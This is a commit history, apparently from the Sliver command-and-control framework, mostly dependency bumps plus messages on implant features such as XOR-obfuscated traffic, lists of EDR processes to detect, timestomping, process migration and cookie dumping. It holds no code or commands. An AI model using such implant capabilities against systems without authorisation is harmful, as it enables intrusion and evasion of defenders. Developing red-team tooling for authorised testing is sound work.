dependabot[bot] 38a740aff2 Bump golang.org/x/crypto from 0.8.0 to 0.9.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.8.0 to 0.9.0.
- [Commits](https://github.com/golang/crypto/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-15 04:01:21 +00:00
moloch-- 8ffe11afbc Merge branch 'master' into v1.6.0/master 2023-05-14 20:30:41 -07:00
moloch-- 4690430cec update installer to symlink sliver/sliver-client 2023-05-14 19:55:21 -07:00
moloch-- ead8c57ca6 simplify loot dir structure 2023-05-14 19:53:10 -07:00
moloch-- 7a048572a7 Added unit tests to client/creds 2023-05-14 08:29:09 -07:00
moloch-- 03e2dd3ba3 Consistent settings 2023-05-12 23:16:17 -07:00
moloch-- a14c15d177 Fix go tests tag 2023-05-12 23:00:55 -07:00
moloch-- d4fd8dc675 Merge master 2023-05-12 22:24:09 -07:00
Joe 81acc47bdc Merge pull request #1229 from BishopFox/go/v1.20.4
Go v1.20.4
2023-05-12 11:33:58 -05:00
moloch-- d547708961 Go v1.20.4 2023-05-12 08:11:19 -07:00
moloch-- b16644e6c6 Updates to crack cmd 2023-05-12 06:59:41 -07:00
Joe 415c7ebd03 Merge pull request #1226 from BishopFox/cf59dependabot/go_modules/google.golang.org/grpc-1.55.0
Bump google.golang.org/grpc from 1.54.0 to 1.55.0
2023-05-08 10:19:36 -05:00
Joe 0510ef7242 Merge pull request #1227 from BishopFox/ac80dependabot/go_modules/golang.org/x/term-0.8.0
Bump golang.org/x/term from 0.7.0 to 0.8.0
2023-05-08 10:16:05 -05:00
dependabot[bot] 27c6e8e8e4 Bump golang.org/x/term from 0.7.0 to 0.8.0
Bumps [golang.org/x/term](https://github.com/golang/term) from 0.7.0 to 0.8.0.
- [Commits](https://github.com/golang/term/compare/v0.7.0...v0.8.0)

---
updated-dependencies:
- dependency-name: golang.org/x/term
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-08 04:00:50 +00:00
dependabot[bot] 64c40bad05 Bump google.golang.org/grpc from 1.54.0 to 1.55.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.54.0 to 1.55.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.54.0...v1.55.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-08 04:00:32 +00:00
chase 1fd410ee71 Add basic functionality to taskmany command 2023-05-06 04:29:58 -04:00
Chris Smith 8368fe6b34 Merge pull request #1223 from BishopFox/migrate-procname
Refactor `migrate`
2023-05-05 17:12:19 -07:00
rkervella a468ec8239 Allow migrate to use process names 2023-05-05 16:07:37 -07:00
Joe 40aa052696 Merge pull request #1222 from smeukinou/fix-multiple-display-screenshot
FIX windows screenshot when multiple monitors are used
2023-05-05 09:50:30 -05:00
Joe c3e8a1a938 Merge pull request #1221 from smeukinou/fix_locale_limit
FIX implant generation with locale limit
2023-05-05 09:50:19 -05:00
Joe bacd3d6f13 Merge pull request #1220 from smeukinou/master
Add ESET Internet Security to kwnown security processes
2023-05-05 09:50:08 -05:00
smeukinou b5e611d73b FIX windows screenshot when multiple monitors are used, and they are not exactly side-by-side 2023-05-05 13:36:53 +02:00
smeukinou 2f9c84c793 FIX implant generation with locale limit not compiling when not in debug mode 2023-05-05 11:44:13 +02:00
smeukinou d921c3c56d Add ESET Internet Security to kwnown security processes 2023-05-05 10:58:50 +02:00
Joe 8408296c0b Merge pull request #1218 from BishopFox/f6e9dependabot/go_modules/modernc.org/sqlite-1.22.1
Bump modernc.org/sqlite from 1.22.0 to 1.22.1
2023-05-01 09:45:47 -05:00
Joe b7206530f4 Merge pull request #1217 from BishopFox/20f6dependabot/go_modules/github.com/miekg/dns-1.1.54
Bump github.com/miekg/dns from 1.1.53 to 1.1.54
2023-05-01 09:44:51 -05:00
dependabot[bot] 5b22e6dfc8 Bump modernc.org/sqlite from 1.22.0 to 1.22.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.22.0 to 1.22.1.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.22.0...v1.22.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-01 04:05:06 +00:00
dependabot[bot] ad53f903c7 Bump github.com/miekg/dns from 1.1.53 to 1.1.54
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.53 to 1.1.54.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.53...v1.1.54)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-01 04:04:33 +00:00
moloch-- eba14591f5 Merge master 2023-04-28 10:15:35 -07:00
Joe 649960a3e9 Merge pull request #1215 from BishopFox/protobuf-xor
Implant protobuf update
2023-04-27 18:52:32 -05:00
rkervella 7c33022408 Apply XOR to dnspb and commonpb too 2023-04-27 15:18:24 -07:00
rkervella 7522a0b7de Apply XOR to protobuf raw data 2023-04-27 15:01:13 -07:00
Joe 651587c324 Merge pull request #1214 from cmprmsd/rapid7
Add Rapid 7 EDR - Insight Agent
2023-04-27 11:17:08 -05:00
cmprmsd fce0221bc7 Add Rapid 7 2023-04-27 09:07:48 +02:00
Joe 8a9437c99a Merge pull request #1213 from rwincey/console_fix
Fixed nil pointer in console
2023-04-25 18:21:55 -05:00
b0yd 3599af150f Fixed nil pointer 2023-04-24 14:42:14 -04:00
Joe d92aaa98e4 Merge pull request #1212 from BishopFox/ef39dependabot/go_modules/modernc.org/sqlite-1.22.0
Bump modernc.org/sqlite from 1.21.1 to 1.22.0
2023-04-24 12:08:46 -05:00
dependabot[bot] 9e12db9ad2 Bump modernc.org/sqlite from 1.21.1 to 1.22.0
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.21.1 to 1.22.0.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.21.1...v1.22.0)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-24 04:01:09 +00:00
Joe c367c8c948 Merge pull request #1207 from BishopFox/fix_info_beacon
always display updated info
2023-04-19 13:30:01 -05:00
Tim Makram Ghatas 77ab598d59 pull latest beacon or session configuration on info command even if a beacon or session is currently selected to avoid displaying outdated values after a reconfiguration 2023-04-19 18:21:02 +02:00
Joe c0a42c6b14 Merge pull request #1202 from BishopFox/75cedependabot/go_modules/gorm.io/driver/mysql-1.5.0
Bump gorm.io/driver/mysql from 1.4.7 to 1.5.0
2023-04-17 12:15:55 -05:00
dependabot[bot] 7479e86765 Bump gorm.io/driver/mysql from 1.4.7 to 1.5.0
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.7 to 1.5.0.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.7...v1.5.0)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 16:39:36 +00:00
Joe fd645e6c04 Merge pull request #1201 from BishopFox/ae25dependabot/go_modules/gorm.io/driver/sqlite-1.5.0
Bump gorm.io/driver/sqlite from 1.4.4 to 1.5.0
2023-04-17 11:37:57 -05:00
dependabot[bot] ef1c0341de Bump gorm.io/driver/sqlite from 1.4.4 to 1.5.0
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.4 to 1.5.0.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.4...v1.5.0)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 14:47:54 +00:00
Joe 1e6218f8fc Merge pull request #1200 from BishopFox/ff8fdependabot/go_modules/gorm.io/gorm-1.25.0
Bump gorm.io/gorm from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0
2023-04-17 09:46:15 -05:00
Joe c2abf668b6 Merge pull request #1199 from BishopFox/8a56dependabot/go_modules/golang.org/x/crypto-0.8.0
Bump golang.org/x/crypto from 0.7.0 to 0.8.0
2023-04-17 09:44:20 -05:00
dependabot[bot] 8c06b83821 Bump gorm.io/gorm from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.7-0.20230306060331-85eaf9eeda11 to 1.25.0.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/commits/v1.25.0)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 04:01:21 +00:00
dependabot[bot] 57ddb1a1bc Bump golang.org/x/crypto from 0.7.0 to 0.8.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.7.0 to 0.8.0.
- [Release notes](https://github.com/golang/crypto/releases)
- [Commits](https://github.com/golang/crypto/compare/v0.7.0...v0.8.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-17 04:01:05 +00:00
moloch-- 90453067e7 Switch to build constraints for server-side wasm 2023-04-16 10:22:25 -07:00
moloch-- c18ee6b183 Switch to build constraints for implant wasm 2023-04-16 09:52:12 -07:00
moloch-- e50fa338cf Merge master 2023-04-13 10:43:40 -07:00
Joe 0a43dc688f Merge pull request #1187 from BishopFox/5ec6dependabot/go_modules/github.com/spf13/cobra-1.7.0
Bump github.com/spf13/cobra from 1.6.1 to 1.7.0
2023-04-13 12:16:23 -05:00
Joe 10d5f80f6b Merge pull request #1195 from BishopFox/9ad1dependabot/bundler/docs/nokogiri-1.14.3
Bump nokogiri from 1.14.1 to 1.14.3 in /docs
2023-04-13 12:16:05 -05:00
Joe 37efe1684b Merge pull request #1194 from BishopFox/983cdependabot/bundler/docs/commonmarker-0.23.9
Bump commonmarker from 0.23.8 to 0.23.9 in /docs
2023-04-13 12:15:44 -05:00
dependabot[bot] c2adb8187e Bump nokogiri from 1.14.1 to 1.14.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.14.1 to 1.14.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.14.1...v1.14.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-12 06:24:49 +00:00
dependabot[bot] 7033be8408 Bump commonmarker from 0.23.8 to 0.23.9 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.8 to 0.23.9.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.8...v0.23.9)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-12 05:34:01 +00:00
Joe 497a4cc698 Merge pull request #1188 from BishopFox/41a3dependabot/go_modules/golang.org/x/net-0.9.0
Bump golang.org/x/net from 0.8.0 to 0.9.0
2023-04-11 08:42:36 -05:00
Joe f792781d5d Merge pull request #1191 from BishopFox/beacon-always-show-hostname
Always show hostname when displaying the list of beacons
2023-04-11 08:42:16 -05:00
Joe 886c9884d0 Merge pull request #1193 from BishopFox/wg-zombies
Complete tearing down Wireguard listener before marking the job as complete
2023-04-11 08:41:53 -05:00
Raf f09efe9512 Fixing #1192. Waiting to close the job channel until all teardown tasks are done 2023-04-11 08:02:47 -04:00
Ronan Kervella ee6decb64b Merge pull request #1190 from BishopFox/issue1181
Different C2 for interactive session from a beacon
2023-04-10 08:57:16 -07:00
Raf 929e67e295 Always show hostname when displaying the list of beacons 2023-04-10 10:19:12 -04:00
dependabot[bot] 03183aefd3 Bump golang.org/x/net from 0.8.0 to 0.9.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.8.0 to 0.9.0.
- [Release notes](https://github.com/golang/net/releases)
- [Commits](https://github.com/golang/net/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 14:08:23 +00:00
Joe b7ba23c409 Merge pull request #1186 from BishopFox/031ddependabot/go_modules/golang.org/x/text-0.9.0
Bump golang.org/x/text from 0.8.0 to 0.9.0
2023-04-10 08:58:51 -05:00
dependabot[bot] 6c77808359 Bump golang.org/x/text from 0.8.0 to 0.9.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.8.0 to 0.9.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:31:31 +00:00
Joe 626d1ee5c9 Merge pull request #1184 from BishopFox/7c8ddependabot/go_modules/golang.org/x/sys-0.7.0
Bump golang.org/x/sys from 0.6.0 to 0.7.0
2023-04-09 23:29:53 -05:00
dependabot[bot] 689645d4f8 Bump github.com/spf13/cobra from 1.6.1 to 1.7.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.6.1 to 1.7.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.6.1...v1.7.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:02:53 +00:00
dependabot[bot] 7fa1b5c824 Bump golang.org/x/sys from 0.6.0 to 0.7.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.6.0 to 0.7.0.
- [Release notes](https://github.com/golang/sys/releases)
- [Commits](https://github.com/golang/sys/compare/v0.6.0...v0.7.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-10 04:02:00 +00:00
moloch-- aa100a2750 Re-implement task/dump linux handlers 2023-04-09 11:22:11 -07:00
moloch-- 78abcfce0c Fix linux handlers 2023-04-09 11:05:33 -07:00
moloch-- 65d5961077 Use upstream pure go gorm driver 2023-04-09 10:30:23 -07:00
moloch-- 0ac08c6ba3 Implemented gorm/wasm-sqlite3 driver, but some types are unsupported 2023-04-09 10:23:56 -07:00
moloch-- 5320e32e5b Merge branch 'wasm/sqlite3' into v1.6.0/master 2023-04-09 09:54:44 -07:00
moloch-- d09c60089f Remove info logs, update unit tests 2023-04-09 08:59:07 -07:00
moloch-- 0e4145e118 merge wasm/sqlite3 2023-04-09 08:23:29 -07:00
moloch-- 605ca87bd1 merge wasm/sqlite3 2023-04-09 08:23:23 -07:00
moloch-- a97d7caf55 implemented wasm sqlite3, remove cgo from server builds 2023-04-09 08:14:04 -07:00
Joe 0aabd71d9d Merge pull request #1178 from BishopFox/1893dependabot/go_modules/modernc.org/sqlite-1.21.1
Bump modernc.org/sqlite from 1.21.0 to 1.21.1
2023-04-07 21:54:02 -05:00
Joe 5f4960bfb1 Merge pull request #1182 from BishopFox/kill_beacon_by_short_id
Adding support for killing a beacon using the short form of its ID
2023-04-07 13:11:03 -05:00
Raf 400c629dec Adding support for killing a beacon using the short form of its ID 2023-04-07 13:02:24 -04:00
Raf 85f51a8752 Initial support for changing C2 when spawning an interactive session from a beacon. Does not support changing transports. 2023-04-07 11:20:54 -04:00
Joe ec7e76fc2f Merge pull request #1180 from MrAle98/fix/external-builder-config
fix implant configuration for external builders
2023-04-05 12:44:22 -05:00
MrAle98 04e8104ad9 minor fix 2023-04-05 09:04:51 +02:00
MrAle98 d2aaee9882 fix implant configuration for external builders 2023-04-04 16:31:06 +02:00
Joe 54afc61d94 Merge pull request #1177 from BishopFox/8e5fdependabot/go_modules/github.com/miekg/dns-1.1.53
Bump github.com/miekg/dns from 1.1.52 to 1.1.53
2023-04-03 09:40:15 -05:00
dependabot[bot] 246519da59 Bump modernc.org/sqlite from 1.21.0 to 1.21.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.21.0 to 1.21.1.
- [Release notes](https://gitlab.com/cznic/sqlite/tags)
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.21.0...v1.21.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-03 04:14:29 +00:00
dependabot[bot] bd575684d7 Bump github.com/miekg/dns from 1.1.52 to 1.1.53
Bumps [github.com/miekg/dns](https://github.com/miekg/dns) from 1.1.52 to 1.1.53.
- [Release notes](https://github.com/miekg/dns/releases)
- [Changelog](https://github.com/miekg/dns/blob/master/Makefile.release)
- [Commits](https://github.com/miekg/dns/compare/v1.1.52...v1.1.53)

---
updated-dependencies:
- dependency-name: github.com/miekg/dns
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-04-03 04:14:29 +00:00
Ronan Kervella da4ee8ad51 Merge pull request #1175 from rwincey/file_log
Added file path for debug so it doesn't always goto stdout
2023-03-30 13:55:42 -07:00
b0yd e6645c91a3 Added file path for debug so it doesn't always goto stdout 2023-03-30 14:38:07 -04:00
moloch-- faf1ad6c1d Add margin for url in armory display 2023-03-29 15:37:28 -07:00
moloch-- e80825d0c4 merge master 2023-03-29 15:21:10 -07:00
Ronan Kervella 7d95856858 Merge pull request #1170 from rwincey/file-funcs
Added Chmod, Chown, Chtimes, and uid:gid to Ls
2023-03-29 13:08:36 -07:00
rwincey 2bfcaf14f3 Update handlers_linux.go 2023-03-29 14:46:31 -04:00
Ronan Kervella 6e0cbbcee3 Merge pull request #1172 from BishopFox/fix/profile-rebuild
Prevent rebuilding implants when they already exist
2023-03-29 11:45:21 -07:00
rkervella feacb9e74b Use implant filename instead of name 2023-03-29 10:41:49 -07:00
b0yd 963b3c36da Fixed import...again 2023-03-29 12:43:08 -04:00
b0yd d344e357af Fixed issues caused by adding goto 2023-03-29 10:52:30 -04:00
b0yd a45c99651d Made pretty, with goto 2023-03-28 19:35:56 -04:00
b0yd 0e5d055f37 Import ommisions 2023-03-28 18:31:42 -04:00
Ronan Kervella 88f5d55e92 Merge pull request #1169 from BishopFox/fix/1113
Warn user about improper flag usage.
2023-03-28 14:53:31 -07:00
b0yd 03d93b95ba Guess I'm supposed to check these in too :P 2023-03-28 17:04:48 -04:00
b0yd 8fd94879a4 Added chmod,chown,timestomp, and added uid:gid to ls 2023-03-28 16:43:14 -04:00
rkervella 19b4b0b0c8 Warn user about improper flag usage. 2023-03-28 13:09:35 -07:00
Joe 0e7a29db1b Merge pull request #1168 from BishopFox/5540dependabot/go_modules/google.golang.org/grpc-1.54.0
Bump google.golang.org/grpc from 1.53.0 to 1.54.0
2023-03-27 20:55:03 -07:00
dependabot[bot] 05a31d9d42 Bump google.golang.org/grpc from 1.53.0 to 1.54.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.53.0 to 1.54.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.53.0...v1.54.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-27 04:03:21 +00:00
Joe 796a0dbde1 Merge pull request #1162 from jpts/fix-private-armory-github-auth
Add armory support for private Github APIs
2023-03-26 13:22:40 -07:00
moloch-- accdf0c9e2 update comments 2023-03-26 15:17:37 -05:00
Joe 6aeab60d62 Merge pull request #1166 from 4lxs/master
C2 http uri lowercased
2023-03-26 07:57:18 -07:00
svl 99c76c2da0 C2 http uri lowercased. Fixes #1126 2023-03-26 07:00:56 -04:00
Ronan Kervella 749f71d226 Merge pull request #1164 from DominicBreuker/synchronize-beacon-extension-tasks
Further stabilization of extensions in beacon mode
2023-03-23 14:42:56 -07:00
Dominic Breuker 3d7227ea2f execute regular tasks and extenions concurrently 2023-03-23 21:44:05 +01:00
Dominic Breuker 329730120d cleanup and variable rename 2023-03-23 21:32:29 +01:00
Dominic Breuker c6a29ea76a ensure waitgroup in beaconmain can never become negative 2023-03-23 21:26:25 +01:00
jpts c40f59bc39 feat: add armory support for private Github apis 2023-03-22 19:06:51 +00:00
Dominic Breuker b0e0df1cb5 ensure beacon registers extensions before it calls them 2023-03-21 23:18:21 +01:00
Joe 2ece520fdc Merge pull request #1159 from DominicBreuker/fix-extension-call-race-condition
avoid race condition in the extension callback on windows beacons
2023-03-20 17:23:37 -07:00
moloch-- f8e2fde805 Remove log from debug builds 2023-03-20 18:17:27 -05:00
moloch-- 108c4cbf23 Add lic 2023-03-20 18:16:23 -05:00
moloch-- 804158f1ed Move memfs to its own file 2023-03-20 18:15:57 -05:00
moloch-- 7ab8fe8f77 Update wazero and vendor/ 2023-03-20 18:01:39 -05:00
moloch-- c35aeb13d4 merge master 2023-03-20 18:00:00 -05:00
Joe 01017460e8 Merge pull request #1157 from BishopFox/10a8dependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.2
Bump github.com/cheggaaa/pb/v3 from 3.1.0 to 3.1.2
2023-03-20 15:32:09 -07:00
Dominic Breuker f1613bbad9 avoid race condition in the extension callback on windows beacons 2023-03-20 21:36:16 +01:00
Joe 657d21e2ea Merge pull request #1152 from BishopFox/b4bddependabot/go_modules/google.golang.org/protobuf-1.30.0
Bump google.golang.org/protobuf from 1.28.1 to 1.30.0
2023-03-20 11:52:53 -07:00
Joe 9f64ef1486 Merge pull request #1158 from BishopFox/fix/chromdp-cookies
Update `DumpCookies` method
2023-03-20 11:52:19 -07:00
rkervella 918d729dc5 Update DumpCookies method 2023-03-20 10:09:15 -07:00
dependabot[bot] c506020570 Bump github.com/cheggaaa/pb/v3 from 3.1.0 to 3.1.2
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.1.0 to 3.1.2.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.1.0...v3.1.2)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 16:49:37 +00:00
dependabot[bot] 9d7d1b76fc Bump google.golang.org/protobuf from 1.28.1 to 1.30.0
Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.28.1 to 1.30.0.
- [Release notes](https://github.com/protocolbuffers/protobuf-go/releases)
- [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash)
- [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.28.1...v1.30.0)

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 16:49:05 +00:00
Joe 3f5c434c26 Merge pull request #1153 from BishopFox/3d69dependabot/go_modules/github.com/chromedp/chromedp-0.9.1
Bump github.com/chromedp/chromedp from 0.8.8 to 0.9.1
2023-03-20 09:48:10 -07:00
Joe aa8e01e365 Merge pull request #1154 from BishopFox/9bd6dependabot/go_modules/gorm.io/driver/postgres-1.5.0
Bump gorm.io/driver/postgres from 1.4.8 to 1.5.0
2023-03-20 09:47:27 -07:00
Joe 8b84197d1a Merge pull request #1156 from BishopFox/07a1dependabot/github_actions/actions/setup-go-4
Bump actions/setup-go from 3 to 4
2023-03-20 09:46:33 -07:00
Joe cdd2a33aec Merge pull request #1155 from BishopFox/1374dependabot/go_modules/github.com/grpc-ecosystem/go-grpc-middleware-1.4.0
Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.3.0 to 1.4.0
2023-03-20 09:46:15 -07:00
dependabot[bot] c6e65e6b69 Bump actions/setup-go from 3 to 4
Bumps [actions/setup-go](https://github.com/actions/setup-go) from 3 to 4.
- [Release notes](https://github.com/actions/setup-go/releases)
- [Commits](https://github.com/actions/setup-go/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-go
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 04:02:39 +00:00
dependabot[bot] 8291364aad Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.3.0 to 1.4.0
Bumps [github.com/grpc-ecosystem/go-grpc-middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) from 1.3.0 to 1.4.0.
- [Release notes](https://github.com/grpc-ecosystem/go-grpc-middleware/releases)
- [Commits](https://github.com/grpc-ecosystem/go-grpc-middleware/compare/v1.3.0...v1.4.0)

---
updated-dependencies:
- dependency-name: github.com/grpc-ecosystem/go-grpc-middleware
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 04:02:34 +00:00
dependabot[bot] dff24ae31b Bump gorm.io/driver/postgres from 1.4.8 to 1.5.0
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.8 to 1.5.0.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.8...v1.5.0)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 04:02:30 +00:00
dependabot[bot] a3ea33bcdb Bump github.com/chromedp/chromedp from 0.8.8 to 0.9.1
Bumps [github.com/chromedp/chromedp](https://github.com/chromedp/chromedp) from 0.8.8 to 0.9.1.
- [Release notes](https://github.com/chromedp/chromedp/releases)
- [Commits](https://github.com/chromedp/chromedp/compare/v0.8.8...v0.9.1)

---
updated-dependencies:
- dependency-name: github.com/chromedp/chromedp
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-20 04:01:46 +00:00
Joe dcb1fc3cf3 Merge pull request #1145 from BishopFox/a584dependabot/go_modules/github.com/fatih/color-1.15.0
Bump github.com/fatih/color from 1.14.1 to 1.15.0
2023-03-13 11:13:17 -07:00
moloch-- 131ad3c420 Merge master 2023-03-13 09:28:56 -05:00
Joe 3f721f2591 Merge pull request #1143 from BishopFox/a64fdependabot/go_modules/github.com/xlab/treeprint-1.2.0
Bump github.com/xlab/treeprint from 1.1.0 to 1.2.0
2023-03-13 07:15:23 -07:00
Joe 99914e4092 Merge pull request #1144 from BishopFox/fc29dependabot/go_modules/gorm.io/gorm-1.24.6
Bump gorm.io/gorm from 1.24.5 to 1.24.6
2023-03-13 06:41:53 -07:00
dependabot[bot] 4068fafdb9 Bump github.com/xlab/treeprint from 1.1.0 to 1.2.0
Bumps [github.com/xlab/treeprint](https://github.com/xlab/treeprint) from 1.1.0 to 1.2.0.
- [Release notes](https://github.com/xlab/treeprint/releases)
- [Commits](https://github.com/xlab/treeprint/compare/v1.1.0...v1.2.0)

---
updated-dependencies:
- dependency-name: github.com/xlab/treeprint
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-13 13:24:08 +00:00
Joe ccc6066b79 Merge pull request #1142 from BishopFox/0a04dependabot/go_modules/github.com/miekg/dns-1.1.52
Bump github.com/miekg/dns from 1.1.51 to 1.1.52
2023-03-13 06:19:56 -07:00
Joe c53e617fec Merge pull request #1141 from BishopFox/d824dependabot/go_modules/golang.org/x/crypto-0.7.0
Bump golang.org/x/crypto from 0.6.0 to 0.7.0
2023-03-13 06:19:28 -07:00
dependabot[bot] 200a1a9942 Bump github.com/fatih/color from 1.14.1 to 1.15.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.14.1 to 1.15.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.14.1...v1.15.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-03-13 04:02:02 +00:00
dependabot[bot] 564aeec91f Bump gorm.io/gorm from 1.24.5 to 1.24.6
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.24.5 to 1.24.6.
- [Release notes](https://github.com/go-gorm/gorm/releases)
